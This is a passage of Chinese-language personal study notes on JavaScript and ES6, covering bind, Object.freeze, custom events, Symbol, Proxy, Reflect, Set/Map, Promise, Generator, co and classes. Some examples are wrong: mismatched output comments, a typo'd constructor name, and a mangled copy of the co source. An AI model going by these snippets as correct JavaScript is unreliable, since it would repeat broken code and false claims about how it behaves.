&#125; &#125; else if (typeof ActiveXObject != 'undefined') &#123; createXHR = function () &#123; return new ActiveXObject('MSXML2.XMLHTTP') &#125; &#125; return createXHR()&#125;)() 函数绑定 指定一个函数内 this 环境,ES5 原生可以用 bind,bind 实现原理时这样的: 12345function bind(fn, context) &#123; return function () &#123; fn.apply(context, arguments) &#125;&#125; bind 一般用于事件处理程序以及 setTimeout()和 setInterval()。因为这些直接用函数名,函数体内 this 时分别指向元素和 window 的。 函数柯里化 上面模拟绑定函数的实现,发现不能传参。于是,对绑定函数进行传参处理叫做函数柯里化。 实现可以传参的 bind 函数。 12345678function bind(fn, context) &#123; var args = Array.prototype.slice.call(arguments) return function () &#123; var innerArgs = Array.prototype.slice.call(arguments) var finalArgs = args.concat(innerArgs) return fn.apply(context, finalArgs) &#125;&#125; 防止篡改对象 Object.preventExtensions() 防止给对象添加新属性和方法。 123456var person = &#123; name: 'wuwh'&#125;Object.preventExtensions(person)person.age = 22console.log(person.age) // undefined Object.seal() 防止删除对象属性和方法。 123456var person = &#123; name: 'wuwh'&#125;Object.seal(person)delete person.nameconsole.log(person.name) // wuwh Object.freeze() 冻结对象,既不可以拓展,也不可以密封,还不可以修改。 12345678910var person = &#123; name: 'wuwh'&#125;Object.freeze(person)person.age = 22console.log(person.age) // undefineddelete person.nameconsole.log(person.name) // wuwhperson.name = 'xiohua'console.log(person.name) // wuwh 定时器 理解这段话就明白为什么 setInterval 要谨慎使用了。 使用 setInterval()创建的定时器确保了定时器代码规则地插入到队列中。问题在于,定时器代码可能在被添加到队列之前还没有完成执行,结果导致定时器代码运行好几次,而之间没有停顿。在这里 js 引擎避免了这个问题。当时用 setInterval()时,仅当没有该定时器的任何其他代码实例时,才将定时器代码添加到队列中。确保了定时器代码加入到队列地最小时间间隔为指定间隔。 造成后果:(1)某些间隔被跳过;(2)多个定时器地代码执行之间地间隔可能会比预期地小。 —— 2017/12/13 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129/**自定义事件基于观察者设计模式* handlers = &#123;* type1: [eventFn1_1, event1_2, ...],* type2: [eventFn2_1, event2_2, ...]*&#125;*/function EventTarget() &#123; this.handlers = &#123;&#125;;&#125;EventTarget.prototype = &#123; constructor: EventTarget, // 添加一个自定义事件 addHandler: function(type, handler) &#123; if(typeof this.handlers[type] == &quot;undefined&quot;) &#123; this.handlers[type] = []; &#125; this.handlers[type].push(handler); &#125;, // 遍历执行自定义事件程序 fire: function(ev) &#123; if(!ev.target) &#123; ev.target = this; &#125; if(this.handlers[ev.type] instanceof Array) &#123; var handlers = this.handlers[ev.type]; for(var i = 0, len = handlers.length; i &lt; len; i++) &#123; handlers[i](ev); &#125; &#125; &#125;, // 移除一个自定义事件程序 removeHandler: function(type, handler) &#123; if(this.handlers[type] instanceof Array) &#123; var handlers = this.handlers[type]; for(var i = 0, len = handlers.length; i &lt; len; i++) &#123; if(handlers[i] === handler) &#123; handlers.splice(i, 1); break; &#125; &#125; &#125; &#125;&#125;var DragDrop = function (selector) &#123; var dragdrop = new EventTarget(); var draging = null, diffX = 0, diffY = 0; var target = document.querySelector(selector); function handleEvent(ev) &#123; switch (ev.type) &#123; case &quot;mousedown&quot;: draging = target; diffX = ev.clientX - draging.offsetLeft; diffY = ev.clientY - draging.offsetTop; // 触发自定义事件 dragdrop.fire(&#123; type: &quot;dragstart&quot;, target: draging, x: ev.clientX, y: ev.clientY &#125;); break; case &quot;mousemove&quot;: if (draging !== null) &#123; draging.style.left = (ev.clientX - diffX) + &quot;px&quot;; draging.style.top = (ev.clientY - diffY) + &quot;px&quot;; &#125; // 触发自定义事件 dragdrop.fire(&#123; type: &quot;drag&quot;, target: draging, x: ev.clientX, y: ev.clientY &#125;); break; case &quot;mouseup&quot;: case &quot;mouseout&quot;: // 触发自定义事件 dragdrop.fire(&#123; type: &quot;dragend&quot;, target: draging, x: ev.clientX, y: ev.clientY &#125;); draging = null; break; &#125; ev.stopPropagation(); &#125; // 单例提供出去的公共接口 dragdrop.enable = function () &#123; target.addEventListener(&quot;mousedown&quot;, handleEvent, false); target.addEventListener(&quot;mousemove&quot;, handleEvent, false); target.addEventListener(&quot;mouseup&quot;, handleEvent), false; target.addEventListener(&quot;mouseout&quot;, handleEvent), false; &#125;; dragdrop.disable = function () &#123; target.removeEventListener(&quot;mousedown&quot;, handleEvent); target.removeEventListener(&quot;mousemove&quot;, handleEvent); target.removeEventListener(&quot;mouseup&quot;, handleEvent); &#125; return dragdrop;&#125;;var dg = DragDrop(&quot;#drag&quot;);dg.addHandler(&quot;drag&quot;, function(ev) &#123; console.log(ev.x);&#125;);dg.enable(); —— 2017/12/14 ES6 之 SymbolSymbol 是 ES6 中引入的一个第七种数据类型(前六种分别是 undefined、null、Boolean、String、Number、Object)。目的是使得属于 Symbol 类型的属性都是独一无二的,可以保证不与其他属性名产生冲突。 Symbol 函数相同入参,返回值不相等 123let sym1 = Symbol('my symbol')let sym2 = Symbol('my symbol')console.log(sym1 == sym2) // false Symbol 值不能和其他类型的值进行运算,包括自身。但是可以显示转化成字符串,也可以转化成布尔值 1234let sym = Symbol('my symbol')console.log(Boolean(sym))console.log(sym.toString()) // Symbol(my symbol)console.log(sym + '.gif') // Uncaught TypeError Symbol 值作为对象属性 1234567891011121314let mySymbol = Symbol()let a = &#123;&#125;a[mySymbol] = 'Hello'console.log('a:', a)let b = &#123; [mySymbol]: 'Hello'&#125;console.log('b:', b)let c = &#123;&#125;Object.defineProperty(c, mySymbol, &#123; value: 'Hello' &#125;)console.log('c:', c) 获取对象所有 Symbol 属性名 12345678910111213const obj = &#123;&#125;let a = Symbol('a')let b = Symbol('b')obj[a] = 'Hello'obj[b] = 'World'const objSymbols = Object.getOwnPropertySymbols(obj)console.log('Object.getOwnPropertySymbols(obj):', Object.getOwnPropertySymbols(obj)) // [Symbol(a), Symbol(b)]console.log('Object.getOwnPropertyNames(obj):', Object.getOwnPropertyNames(obj)) // []console.log('Reflect.ownKeys(obj):', Reflect.ownKeys(obj)) // [Symbol(a), Symbol(b)] Symbol.for() 搜索返回已有参数名称的 Symbol 值,没有则会新建以改字符串为名称的 Symbol 值 123456let s1 = Symbol.for('foo')let s2 = Symbol.for('foo')console.log('symbol for s1 == s2:', s1 === s2)// Symbol.keyFor 返回已登记Symbol类型值的keyconsole.log(Symbol.keyFor(s1)) // fooconsole.log(Symbol.keyFor(Symbol('aaa'))) // undefined Symbol.for 登记的名字是全局环境的 123456let iframe = document.createElement('iframe')iframe.src = location.hrefdocument.body.appendChild(iframe)console.log(iframe.contentWindow.Symbol.for('foo') === window.Symbol.for('foo')) // true ES6 之 ProxyProxy 属于一种“元编程”,即对编程语言进行编程。可以理解成在木匾对象之前架设一层“拦截” 1234567891011let proxy = new Proxy( &#123;&#125;, &#123; get: function (target, property) &#123; return 'wuwh' &#125; &#125;)console.log(proxy.time) // wuwhconsole.log(proxy.name) // wuwh Proxy 实例可以作为其他对象的原型对象 1234567891011let proxy = new Proxy( &#123;&#125;, &#123; get: function (target, property) &#123; return 'wuwh' &#125; &#125;)let obj = Object.create(proxy)console.log(proxy.time) Proxy 的一些实例方法 123456789101112131415161718192021222324let handler = &#123; get: function (target, name) &#123; if (name === 'prototype') &#123; return Object.prototype &#125; return 'Hello, ' + name &#125;, apply: function (target, thisBinding, args) &#123; return args[0] &#125;, construct: function (target, args) &#123; return &#123; value: args[1] &#125; &#125;&#125;var fproxy = new Proxy(function (x, y) &#123; return x + y&#125;, handler)console.log(fproxy(1, 2)) // 1 被apply拦截console.log(new fproxy(1, 2)) // &#123;value: 2&#125; 被construct拦截console.log(fproxy.time) // Hello, time 被get拦截 writable 和 configurable 属性都为 false 时,则该属性不能被代理,通过 Proxy 对象访问该属性会报错 12345678910111213141516let obj = &#123;&#125;Object.defineProperty(obj, 'foo', &#123; value: 123, writable: false, configurable: false&#125;)const handler = &#123; get: function (target, propKey) &#123; return 'wuwh' &#125;&#125;const proxy = new Proxy(obj, handler)console.log(proxy.foo) —— 2017/12/15 ES6 之 ReflectReflect 对象与 Proxy 对象一样,也是 ES6 为了操作对象提供的新 API。 Reflect 对象一共有 13 个静态方法。 Reflect.apply(target, thisArg, args) Reflect.construct(target, args) Reflect.get(target, name, receiver) Reflect.set(target, name, value, receiver) Reflect.defineProperty(target, name, desc) Reflect.deleteProperty(target, name) Reflect.has(target, name) Reflect.ownKeys(target) Reflect.isExtensible(target) Reflect.preventExtensions(target) Reflect.getOwnPropertyDescriptor(target, name) Reflect.getPrototypeOf(target) Reflect.setPrototypeOf(target, prototype) Reflect.get &amp;&amp; Reflect.set 在 name 属性部署了读取函数(getter)或者是设置函数(setter),this 绑定 receiver 1234567891011121314var obj = &#123; foo: 1, set bar(value) &#123; return (this.foo = value) &#125;&#125;var receiveObj = &#123; foo: 5&#125;Reflect.set(obj, 'bar', 3, receiveObj)console.log('obj.bar:', obj.foo)console.log('receiveObj.bar:', receiveObj.foo) 如果 Proxy 对象和 Reflect 对象联合使用,前者拦截赋值操作,后者完成赋值的默认行为,而且传入 receiver,那么 Reflect.set 会触发 Proxy.defineProperty 12345678910111213141516var obj = &#123; name: 'wuwh'&#125;var loggedObj = new Proxy(obj, &#123; set: function (target, key, value, receiver) &#123; console.log('set...') Reflect.set(target, key, value, receiver) &#125;, defineProperty(target, key, attribute) &#123; console.log('defineProperty...') Reflect.defineProperty(target, key, attribute) &#125;&#125;)loggedObj.name = 'xiaohua' // set... defineProperty... Reflect.constructor(target, args) 123456789function Geeting(name) &#123; this.name = name&#125;// new 的写法const instance = new Greeting('张三')// Reflect.construct的写法const instance = Reflect.construct(Greeting, ['张三']) Reflect.getPrototypeOf(obj) &amp;&amp; Reflect.setPrototypeOf(obj, newProto) 设置和读取对象的proto属性 12345678910function FancyThing() &#123;&#125;const myObj = new FancyThing()const obj = &#123; constructor: FancyThing, name: 'wuwh'&#125;Reflect.setPrototypeOf(myObj, obj)console.log(Reflect.getPrototypeOf(myObj)) // obj Reflect.ownKeys 123456789101112var obj = &#123; foo: 1, bar: 2, [Symbol.for('foo')]: 3, [Symbol.for('baz')]: 4&#125;console.log(Object.getOwnPropertyNames(obj)) // ["foo", "bar"]console.log(Object.getOwnPropertySymbols(obj)) // [Symbol(foo), Symbol(baz)]console.log(Reflect.ownKeys(obj)) // ["foo", "bar", Symbol(foo), Symbol(baz)] ES6 之 Set 和 Mapset Set 是 ES6 新数据结构,类似于数组,但是成员都是唯一的,没有重复的值 12345678var s = new Set();[1, 2, 3, 4, 5, 1, 2, 3].forEach(function (x) &#123; return s.add(x)&#125;)for (let i of s) &#123; console.log('set i:', i)&#125; 可以看成是一种数组的去重方法 变量解构 123456const set = new Set([1, 2, 3, 4, 1, 2, 3]);console.log([...set]); *//* // 在Set内部,两个NaN是相等的let set = new Set([NaN, NaN]);console.log(set); //Set &#123;NaN&#125; 两个对象被视为不相等 12let set1 = new Set([&#123;&#125;, &#123;&#125;])console.log(set1) // Set &#123;&#123;&#125;, &#123;&#125;&#125; Set 的方法 add、delete、clear 和 has 123456789101112let s = new Set([0, 1])s.add(2).add(3)console.log(s) // Set &#123;0, 1, 2, 3&#125;console.log(s.has(3)) // trues.delete(2)console.log(s) // Set &#123;0, 1, 3&#125;s.clear()console.log(s) // Set(0) &#123;&#125; 可以看成是一种数组的去重方法 Array.from 12const set = new Set([1, 2, 3, 4, 1, 2, 3])console.log(Array.from(set)) 实现并集,交集和差集 1234567891011let a = new Set([1, 2, 3])let b = new Set([4, 3, 2])let union = new Set([...a, ...b])console.log(union) // Set(4) &#123;1, 2, 3, 4&#125;let intersect = new Set([...a].filter((x) =&gt; b.has(x)))console.log(intersect) // Set(2) &#123;2, 3&#125;let difference = new Set([...a].filter((x) =&gt; !b.has(x)))console.log(difference) // Set(1) &#123;1&#125; 123456// 垃圾回收机制依赖引用计数,如果一个值的引用次数不为0,垃圾回收机制就不会释放这块内存。// 结束使用该值之后,有时会忘记取消引用,导致内存无法释放,进而可能会引发内存泄漏。// WeakSet 中的对象都是弱引用,即垃圾回收机制不考虑 WeakSet 对该对象的引用// WeakSet成员类型只能是对象类型let ws = new WeakSet([1, 2]) // Uncaught TypeError: Invalid value used in weak setconsole.log(ws) Map 数据结构类似对象,也是键值对的集合,但是“键”的范围不限于字符串,各种类型的值都可以 1234567891011let m = new Map()let o = &#123; msg: 'hello' &#125;m.set(o, 'world')console.log(m) // Map(1) &#123;&#123;…&#125; =&gt; "world"&#125;console.log(m.get(o)) // worldconsole.log(m.has(o)) // trueconsole.log(m.delete(o)) // trueconsole.log(m.has(o)) // false Map 可以接收一个数组作为参数,数组成员是一个个表示键值对的数组 12345678let m = new Map([ ['name', 'wuwh'], ['age', 22]])console.log(m) // Map(2) &#123;"name" =&gt; "wuwh", "age" =&gt; 22&#125;console.log(m.size) // 2console.log(m.get('name')) // wuwh 事实上不仅仅是数组,任何具有 Iterator 接口、 每个成员都是一个双元素的数组,都可以当作 Map 构造函数的参数 123456789let set = new Set([ ['foo', 1], ['bar', 2]])console.log(set) // Set(2) &#123;Array(2), Array(2)&#125;let m = new Map(set)console.log(m) // Map(2) &#123;"foo" =&gt; 1, "bar" =&gt; 2&#125; 一个键值多次赋值,后面的会覆盖前面的 123let m = new Map()m.set(1, 'aaa').set(1, 'bbb')console.log(m) // Map(1) &#123;1 =&gt; "bbb"&#125; Map 的键实际上是跟内存地址绑定的,只要内存地址不一样,就视为两个键 1234let m = new Map()m.set(['a'], 1)console.log(m.get(['a'])) // undefined forEach 方法接受第二个参数,用来绑定 this 123456789let reporter = &#123; report: function (key, value) &#123; console.log(key, value) &#125;&#125;m.forEach(function (value, key, map) &#123; this.report(key, value)&#125;, reporter) —— 2017/12/18 ES6 之 Promise今天复习一下 ES6 中 Promise 的基础用法。ES6 规定,Promise 对象是一个构造函数,用来生成 Promise 实例。Promise 对象有两个特点: 对象的状态不受外界影响; 一旦状态改变,就不会再变,任何时候都可以得到这个结果; 优点: 就可以将异步操作以同步操作的流程表达出来,避免了层层嵌套的回调函数。 Promise 对象提供统一的接口,使得控制异步操作更加容易。 缺点: 无法取消 Promise,一旦新建它就会立即执行,无法中途取消。 如果不设置回调函数,Promise 内部抛出的错误,不会反应到外部。 当处于 pending 状态时,无法得知目前进展到哪一个阶段(刚刚开始还是即将完成)。 Promise 新建后立即执行,所以首先输出的是 Promise。然后,then 方法指定的回调函数,将在当前脚本所有同步任务执行完才会执行,所以 resolved 最后输出。 1234567891011121314let promise = new Promise(function (resolve, reject) &#123; console.log('Promise') resolve()&#125;)promise.then(function () &#123; console.log('resolved.')&#125;)console.log('Hi!')// Promise// Hi!// resolved Promise 实现 ajax 123456789101112131415161718192021const getJSON = function (url) &#123; const promise = new Promise(function (resolve, reject) &#123; const handler = function () &#123; if (this.readyState == 4) &#123; if (this.status == 200) &#123; resolve(this.response) &#125; else &#123; reject(new Error(this.statusText)) &#125; &#125; &#125; const xhr = new XMLHttpRequest() xhr.open('GET', url) xhr.onreadystatechange = handler xhr.responseType = 'json' xhr.send() &#125;) return promise&#125; 第一个回调函数完成以后, 会将返回结果作为参数, 传入第二个回调函数。 12345678getJSON('js/data.json') .then(function (res) &#123; console.log('then res:', res) return res &#125;) .then(function (res) &#123; console.log('then then res:', res) &#125;) 前一个回调函数,有可能返回的还是一个 Promise 对象,这时后一个回调函数,就会等待该 promise 对象的状态发生变化,才会被调用,否则不会被调用。 1234567891011getJSON('js/data.json') .then(function (res) &#123; console.log('then res:', res) return getJSON(res.src) &#125;) .then(function (res) &#123; console.log('then then res:', res) &#125;) .catch(function (error) &#123; console.log('error:', error.message) &#125;) resolve 语句后,抛出错误,不会被捕获,等于没有抛出,Promise 状态一旦改变,不会再改变。 123456789101112const promise = new Promise(function (resolve, reject) &#123; resolve('ok') throw new Error('wrong')&#125;)promise .then(function (value) &#123; console.log('resolve:', value) // ok &#125;) .catch(function (error) &#123; console.log('reject:', error.message) &#125;) catch、then 中抛出的错误都会一级一级往后冒泡,直到被后面的 catch 捕获到。 123456789101112131415161718const promise = function () &#123; return new Promise(function (resolve, reject) &#123; resolve(x + 1) &#125;)&#125;promise() .catch(function (error) &#123; console.error('error:', error.message) // error: x is not defined &#125;) .then(function () &#123; console.log('carry on') // carry on console.log('carry on', y) &#125;) .catch(function (error) &#123; console.error('error:', error.message) // error: y is not defined &#125;) p1 和 p2 都是 Promise 的实例,但是 p2 的 resolve 方法将 p1 作为参数,这时 p1 的状态就会传递给 p2,也就是说,p1 的状态决定了 p2 的状态 123456789101112131415161718192021const p1 = new Promise(function (resolve, reject) &#123; setTimeout(function () &#123; console.log('timeout p1') resolve('p1') &#125;, 3000)&#125;)const p2 = new Promise(function (resolve, reject) &#123; setTimeout(function () &#123; console.log('timeout p2') resolve(p1) &#125;, 1000)&#125;)p2.then(function (res) &#123; console.log('p2 res:', res)&#125;)// timeout p2// timeout p1// p2 res: p1 —— 2017/12/21 立即 resolved 的 Promise 是在本轮事件循环的末尾执行,总是晚于本轮循环的同步任务 12345678new Promise((resolve, reject) =&gt; &#123; resolve(1) console.log('resolve...')&#125;).then((res) =&gt; &#123; console.log(res)&#125;)// resolve...// 1 所有 Promise 实例的状态都变成 fulfilled,Promise.all 状态才会变成 fulfiled只要有一个别被 rejected,Promise.all 状态就变成 rejected 123456789101112131415161718192021222324252627let getJSON = function (url) &#123; return new Promise(function (resolve, reject) &#123; function handler() &#123; if (this.readyState == 4) &#123; if (this.status == 200 || this.tatus == 304) &#123; resolve(this.response) &#125; else &#123; reject(this.statusText) &#125; &#125; &#125; let xhr = new XMLHttpRequest() xhr.open('GET', url) xhr.onreadystatechange = handler xhr.responseType = 'json' xhr.send(null) &#125;)&#125;Promise.all([getJSON('data/data1.json'), getJSON('data/data2.json')]) .then(function (res) &#123; console.log('all success:', res) &#125;) .catch(function (error) &#123; console.log('error:', error) &#125;) 其中一个实例状态率先发生改变,Promise.race 的状态就跟着改变,这个率先改变实例的返回值作为回调入参 1234567Promise.race([fetch('data/data1.json'), fetch('data/data2.json')]) .then(function (res) &#123; console.log('all success:', res) &#125;) .catch(function (error) &#123; console.log('error:', error) &#125;) 立即 resolve 得 Promise 对象,是本轮“事件循环”得结束时,而不是下一轮“事件循环”的开始 12345678910111213setTimeout(() =&gt; &#123; console.log('tree')&#125;, 0)Promise.resolve().then(function () &#123; console.log('two')&#125;)console.log('one')// one// two// three Promise.reject()方法的参数,会原封不动地作为 reject 的理由,变成后续方法的参数 123456789const thenable = &#123; then(resolve, reject) &#123; reject('some wrong!') &#125;&#125;Promise.reject(thenable).catch(function (error) &#123; console.log(error === thenable) // true&#125;) 捕获最后抛出来的错误 1234567Promise.prototype.done = function (fulfiled, rejected) &#123; this.then(fulfiled, rejected).catch(function (error) &#123; console.error(error) &#125;)&#125;Promise.reject().done() —— 2017/12/22 ES6 之 Iterator 和 for…of 循环遍历器(Iterator)就是这样一种机制。它是一种接口,为各种不同的数据结构提供统一的访问机制。任何数据结构只要部署 Iterator 接口,就可以完成遍历操作(即依次处理该数据结构的所有成员)。 模拟 next 方法 1234567891011121314var it = makeIterator(['a', 'b'])it.next() // &#123; value: "a", done: false &#125;it.next() // &#123; value: "b", done: false &#125;it.next() // &#123; value: undefined, done: true &#125;function makeIterator(array) &#123; var nextIndex = 0 return &#123; next: function () &#123; return nextIndex &lt; array.length ? &#123; value: array[nextIndex++], done: false &#125; : &#123; value: undefined, done: true &#125; &#125; &#125;&#125; 解构、拓展运算符都会默认调用 iterator 接口覆盖原生遍历器 12345678910111213141516171819let str = new String('hi')console.log([...str]) // ["h", "i"]str[Symbol.iterator] = function () &#123; return &#123; next: function () &#123; if (this.first) &#123; this.first = false return &#123; value: 'wuwh', done: false &#125; &#125; else &#123; return &#123; done: true &#125; &#125; &#125;, first: true &#125;&#125;console.log([...str]) // ["wuwh"] yield*后面跟的是一个可遍历的结构,它会调用该结构的遍历器接口。 12345678910111213let generator = function* () &#123; yield 1 yield* [2, 3] yield 4&#125;let iterator = generator()console.log(iterator.next())console.log(iterator.next())console.log(iterator.next())console.log(iterator.next())console.log(iterator.next()) 一个数据结构只要部署了 Symbol.iterator 属性,就被视为具有 iterator 接口,就可以用for…of 循环遍历它的成员.也就是说,for…of 循环内部调用的是数据结构的 Symbol.iterator 方法for…of 循环可以使用的范围包括数组,Set 和 Map 结构,某些类型的数组的对象(arguments 对象,DOM NodeList 对象)Generator 对象以及字符串 DOM NodeList 对象部署了 iterator 接口 12345let ps = document.querySelectorAll('p')for (let p of ps) &#123; console.log(p)&#125; for…of 能正确识别 32 位 UTF-16 字符 123for (let x of 'a\uD83D\uDC0A') &#123; console.log(x)&#125; 并不是所有类似数组的对象都具有 iterator 接口 1234567891011let arrayLike = &#123; 0: 'a', 1: 'b', length: 2&#125;for (let x of arrayLike) &#123; console.log(x) // Uncaught TypeError: arrayLike[Symbol.iterator] is not a function&#125;console.log(Array.from(arrayLike)) forEach 缺点:break 或 return 不奏效 12345let arr = [1, 2, 3];arr.forEach(function(item) &#123; console.log(item); if(item &gt; 2) continue; // Uncaught SyntaxError: Illegal break statement&#125;); —— 2017/12/25 ES6 之 GeneratorGenerator 函数调用并不执行,返回的也不是函数运行的结果,而是一个指向内部状态的指针对象,也就是遍历器对象。 123456789101112function* helloWorldGenerator() &#123; yield 'hello' yield 'world' return 'ending'&#125;let hw = helloWorldGenerator()console.log(hw.next()) // &#123;value: "hello", done: false&#125;console.log(hw.next()) // &#123;value: "world", done: false&#125;console.log(hw.next()) // &#123;value: "ending", done: false&#125;console.log(hw.next()) // &#123;value: undefined, done: true&#125; yield 表达式只能用在 Generator 函数里面,用在其他地方都会报错 yield 表达式在另个一表达式中,必须放在圆括号里面。放在函数参数或放到赋值表达式的右边,可以不加括号。 12345678910111213function foo() &#123;&#125;function* demo() &#123; foo(yield 'a', yield 'b') let input = 'abc' + (yield 123)&#125;let f = demo()console.log('f:', f)console.log('f.next():', f.next())console.log('f.next():', f.next())console.log('f.next():', f.next())console.log('f.next():', f.next()) 任意一个对象的 Symbol.iterator 方法,等于该对象的遍历器生成函数,调用该函数会返回该对象的一个遍历器对象。 由于 Generator 函数就是遍历器生成函数,依次可以把 Generator 赋值给对象的 Symbol.iterator,从而使得该对象具有 Interator 接口。 1234567let myIterable = &#123;&#125;myIterable[Symbol.iterator] = function* () &#123; yield 1 yield 2 yield 3&#125;console.log([...myIterable]) // [1, 2, 3] Generator 函数执行后,返回一个遍历器对象。该对象本身也具有 Symbol.iterator 属性,执行后返回自身。 12345function* gen() &#123;&#125;let g = gen()console.log(g[Symbol.iterator]() === g) // true yield 表达式本身没有返回值,或者说总是返回 undefined。next 方法可以带一个参数,该参数就会被当作上一个 yield 表达式的返回值。 123456789101112131415function* foo(x) &#123; let y = 2 * (yield x + 1) let z = yield y / 3 return x + y + z&#125;let a = foo(5)console.log(a.next()) // &#123;value: 6, done: false&#125;console.log(a.next()) // &#123;value: NaN, done: false&#125;console.log(a.next()) // &#123;value: NaN, done: true&#125;let b = foo(5)console.log(b.next()) // &#123;value: 6, done: false&#125;console.log(b.next(3)) // &#123;value: 2, done: false&#125;console.log(b.next(6)) // &#123;value: 17, done: true&#125; 遍历斐波拉契数列 1234567891011function* fibonacci(large) &#123; let [prev, curr] = [0, 1] for (let i = 0; i &lt; large; i++) &#123; ;[prev, curr] = [curr, prev + curr] yield curr &#125;&#125;for (let n of fibonacci(100)) &#123; console.log(n)&#125; 原生对象没有 iterator 接口,无法用 for…of 遍历,可以通过 Generator 函数加上遍历接口。 123456789101112function* objectEntries(obj) &#123; let propKeys = Reflect.ownKeys(obj) for (let propKey of propKeys) &#123; yield [propKey, obj[propKey]] &#125;&#125;let o = &#123; first: 'wu', last: 'wh' &#125;for (let [key, value] of objectEntries(o)) &#123; console.log(`$&#123;key&#125;: $&#123;value&#125;`)&#125; 扩展运算符、解构赋值和 Array.from 方法内部调用都是遍历器接口。 1234567891011121314151617function* numbers() &#123; yield 1 yield 2 yield 3 return 0 yield 4&#125;// 扩展运算符console.log([...numbers()])// Array.from()console.log(Array.from(numbers()))// 解构赋值let [x, y] = numbers()console.log(x, y) 在 Generator 函数内部,调用另一个 Generator 函数,默认情况下是没有效果的。 yield* 后面的 Generator 函数(没有 return 语句时),等同于在 Generator 内部部署了一个 for…of 函数。 1234567891011121314function* foo() &#123; yield 'a' yield 'b'&#125;function* bar() &#123; yield 'x' yield* foo() yield 'y'&#125;for (let v of bar()) &#123; console.log(v) // "x" // "y"&#125; 被代理的 Generator 函数有 return 语句,那么就可以向代理它的 Generator 函数返回数据。 123456789101112131415161718192021function* foo() &#123; yield 2 yield 3 return 'foo'&#125;function* bar() &#123; yield 1 let v = yield* foo() console.log('v: ', v) yield 4&#125;let it = bar()console.log(it.next()) // &#123;value: 1, done: false&#125;console.log(it.next()) // &#123;value: 2, done: false&#125;console.log(it.next()) // &#123;value: 3, done: false&#125;console.log(it.next()) // v: fooconsole.log(it.next()) // &#123;value: 4, done: false&#125;console.log(it.next()) // &#123; value: undefined, done: true &#125; 将 Generator 函数内部 this 指向它的原型上,可以 new 命令。 1234567891011121314151617181920function* gen() &#123; this.a = 1 yield (this.b = 2) yield (this.c = 3)&#125;function F() &#123; return gen.call(gen.prototype)&#125;var f = new F()// 遍历完后,才会有相应的属性console.log(f.next()) // &#123;value: 2, done: false&#125;console.log(f.next()) // &#123;value: 3, done: false&#125;console.log(f.next()) // &#123;value: undefined, done: true&#125;console.log(f.a) // 1console.log(f.b) // 2console.log(f.c) // 3 return 方法返回给定的值,并且终结遍历 Generator 函数。 1234567891011function* gen() &#123; yield 1 yield 2 yield 3&#125;let g = gen()console.log(g.next())g.return('foo')console.log(g.next()) Generator 函数内部没有部署 try…catch,那么 throw 抛出的错误,被外部 try…catch 捕获。Generator 函数内部和外部,都没有部署 try…catch,程序将会报错,中断执行。 1234567891011121314151617181920212223242526function* gen() &#123; while (true) &#123; // try &#123; // yield; // &#125; // catch(e) &#123; // console.log("内部捕获", e); // &#125; yield console.log('内部捕获', e) &#125;&#125;let g = gen()g.next()// g.throw("a");// g.throw("b");try &#123; g.throw('a') g.throw('b')&#125; catch (e) &#123; console.log('外部捕获', e)&#125; next()、throw()、return()这三个方法本质时同一件事,可以放在一起理解。它们的作用都是让 Generator 函数恢复执行,并且使用不同的语句替换 yield 表达式。 12345678910111213141516function* gen(x, y) &#123; let res = yield x + y return res&#125;let g = gen(1, 2)console.log(g.next()) // &#123;value: 3, done: false&#125;// 相当于把 let res = yield x + y; 换成 let res = 1;console.log(g.next(1)) // &#123;value: 1, done: true&#125;// 相当于把 let res = yield x + y; 换成 let res = throw(new Error("something wrong"));g.throw(new Error('something wrong')) // Uncaught Error: something wrong// 相当于把 let res = yield x + y; 换成 let res = return 2;console.log(g.return(2)) —— 2017/12/26 ES6 之 Generator 函数的异步应用对于多个异步操作,要等到上一个操作完才执行下一个,这时候就需要封装一个,Generator 函数自动执行器。 1234567891011121314151617181920function run(fn) &#123; let g = fn() function next(err, data) &#123; let res = g.next(data) if (res.done) return res.value(next) &#125; next()&#125;function* gen() &#123; let f1 = yield readFileThunk('fileA') let f2 = yield readFileThunk('fileB') // ... let fn = yield readFileThunk('fileN')&#125;run(gen) 回调函数。将异步操作包装成 Thunk 函数,在回调函数里面交回执行权。 Promise 对象。将异步操作包装成 Promise 对象,用 then 方法交回执行权。 12345678910111213141516171819202122232425262728293031323334// co函数源码function co(gen) &#123; var ctx = this return new Promise(function (resolve, reject) &#123; if (typeof gen === 'function') gen = gen.call(ctx) if (!gen || typeof gen.next !== 'function') return resolve(gen) onFulfilled() function onFulfilled(res) &#123; var ret try &#123; ret = gen.next(res) &#125; catch (e) &#123; return reject(e) &#125; next(ret) &#125; &#125;)&#125;function next(ret) &#123; if (ret.done) return resolve(ret.value) var value = toPromise.call(ctx, ret.value) if (value &amp;&amp; isPromise(value)) return value.then(onFulfilled, onRejected) return onRejected( new TypeError( 'You may only yield a function, promise, generator, array, or object, ' + 'but the following object was passed: "' + String(ret.value) + '"' ) )&#125; —— 2017/12/27 12345678910class Point &#123; constructor(x, y) &#123; this.x = x; this.y = y; &#125; toString() &#123; return '(' + this.x + ', ' + this.y + ')'; &#125;&#125; 类的数据类型就是函数 1console.log(typeof Point); // function 类本身就指向构造函数 1console.log(Point === Point.prototype.constructor); // true 直接对类使用 new 命令 12let p = new Point(1, 2);console.log(p.toString()); // (1, 2) x 和 y 都是对象 point 自身的属性(定义在 this 变量上),toString 是原型对象的属性(定义在 Point 类上) 实例上调用的方法,就是调用原型上的方法 1console.log(p.toString === Point.prototype.toString); // true 给实例的原型上添加方法 123456Reflect.getPrototypeOf(p).getX = function() &#123; console.log(this.x);&#125;;let p1 = new Point(3, 4);p1.getX(); // 3 */ 类的属性名,可以采用表达式 1234567891011121314let methodName = "getArea";class Square &#123; constructor() &#123; &#125; [methodName]() &#123; console.log("get area..."); &#125;&#125;let sq = new Square();sq.getArea(); // get area... 类中没有定义 constructor 方法,js 引擎会自动为它添加一个空的 constructor 方法,constructor 方法默认返回实例对象,也可以指定返回另一个对象 1234567class Foo &#123; constructor() &#123; return Object.create(null); &#125;&#125;console.log(new Foo() instanceof Foo); // false 用表达式表示一个类,类的名称是 MyClass,Me 只在 Class 内部代码可用,指代当前类,如果内部没有使用到的话,可以省略 Me 1234567891011121314151617const MyClass = class Me &#123; getClassName() &#123; return Me.name; &#125; get prop() &#123; return "getter"; &#125; set prop(value) &#123; console.log("setter:" + value); &#125;&#125;;let inst = new MyClass();console.log(inst.getClassName()); // Melet inst1 = new Me(); // Uncaught ReferenceError: Me is not definedconsole.log(inst1.getClassName()); 